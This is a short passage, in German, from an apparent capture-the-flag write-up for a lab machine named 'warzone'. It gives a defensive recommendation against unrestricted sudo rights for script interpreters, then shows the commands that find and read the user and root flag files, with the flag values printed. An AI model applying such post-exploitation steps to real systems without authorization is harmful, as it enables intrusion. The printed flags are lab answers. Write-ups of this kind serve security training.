Risikobewertung: Kritisch.
Empfehlung (Defensiv): Skript-Interpretern (`jjs`, `python`, `perl`, `bash`, etc.) niemals uneingeschränkte `sudo`-Rechte geben, insbesondere nicht mit `NOPASSWD`. Rechte granular vergeben und das Prinzip der geringsten Rechte befolgen.

Flags

Analyse: Nach Erlangung der Root-Rechte wurde die User-Flag (`user.txt`) im Desktop-Verzeichnis von `captain` und die Root-Flag (`root.txt`) im Desktop-Verzeichnis von `root` gefunden.
Bewertung: Beide Flags wurden erfolgreich extrahiert.

find / -name user.txt 2>/dev/null
/home/captain/Desktop/user.txt
cat /home/captain/Desktop/user.txt
trophy : {silver_medal_warzone}
cd /root/Desktop
ls
root.txt
cat root.txt
trophy : {gold_medal_warzone}